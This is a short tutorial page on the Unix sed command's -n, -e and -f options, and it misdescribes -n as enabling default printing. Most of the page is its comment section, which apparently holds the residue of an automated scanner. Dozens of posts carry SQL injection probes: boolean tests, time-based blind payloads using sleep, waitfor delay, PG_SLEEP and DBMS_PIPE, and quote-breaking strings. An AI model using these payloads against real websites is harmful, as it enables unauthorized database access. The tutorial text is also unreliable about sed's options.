Stream Editor - Standard Options


SED supports the following standard options:
-n::Default printing of pattern buffer.
-e:Next argument is an editing command.
-f:Next argument is a file containing editing commands.

Examples

Let us create a text file lfc.txt.

\\ The following SED command does not show any output:
$ sed -n '' lfc.txt 
---------------------
---------------------
\\By using this option, we can specify multiple commands.This will print each line twice.
$ sed -e '' -e 'p' lfc.txt
---------------------
---------------------
\\This will specify print command through file.
$ echo "p" > commands 
$ sed -n -f commands lfc.txt







Visit :


Discussion



* You must be logged in to add comment.

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
-1 OR 2+462-462-1=0+0+0+1 --

pHqghUme
-1 OR 3+462-462-1=0+0+0+1 --

pHqghUme
-1 OR 3*2<(0+5+462-462) --

pHqghUme
-1 OR 3*2>(0+5+462-462) --

pHqghUme
-1 OR 2+291-291-1=0+0+0+1

pHqghUme
-1 OR 3+291-291-1=0+0+0+1

pHqghUme
-1 OR 3*2<(0+5+291-291)

pHqghUme
-1 OR 3*2>(0+5+291-291)

pHqghUme
-1' OR 2+621-621-1=0+0+0+1 --

pHqghUme
-1' OR 3+621-621-1=0+0+0+1 --

pHqghUme
-1' OR 3*2<(0+5+621-621) --

pHqghUme
-1' OR 3*2>(0+5+621-621) --

pHqghUme
-1' OR 2+910-910-1=0+0+0+1 or '5DFFmtQf'='

pHqghUme
-1' OR 3+910-910-1=0+0+0+1 or '5DFFmtQf'='

pHqghUme
-1' OR 3*2<(0+5+910-910) or '5DFFmtQf'='

pHqghUme
-1' OR 3*2>(0+5+910-910) or '5DFFmtQf'='

pHqghUme
-1" OR 2+207-207-1=0+0+0+1 --

pHqghUme
-1" OR 3+207-207-1=0+0+0+1 --

pHqghUme
-1" OR 3*2<(0+5+207-207) --

pHqghUme
-1" OR 3*2>(0+5+207-207) --

pHqghUme
if(now()=sysdate(),sleep(15),0)

pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme
-1; waitfor delay '0:0:15' --

pHqghUme
-1); waitfor delay '0:0:15' --

pHqghUme
1 waitfor delay '0:0:15' --

pHqghUme
b3WX6e32'; waitfor delay '0:0:15' --

pHqghUme
-5 OR 561=(SELECT 561 FROM PG_SLEEP(15))--

pHqghUme
-5) OR 70=(SELECT 70 FROM PG_SLEEP(15))--

pHqghUme
-1)) OR 862=(SELECT 862 FROM PG_SLEEP(15))--

pHqghUme
sMbfXByH' OR 74=(SELECT 74 FROM PG_SLEEP(15))--

pHqghUme
PWpApwLP') OR 748=(SELECT 748 FROM PG_SLEEP(15))--

pHqghUme
1JBXyomN')) OR 643=(SELECT 643 FROM PG_SLEEP(15))--

pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme
1'"

pHqghUme

pHqghUme
@@YHRSF

pHqghUme
555

pHqghUme
555

pHqghUme
555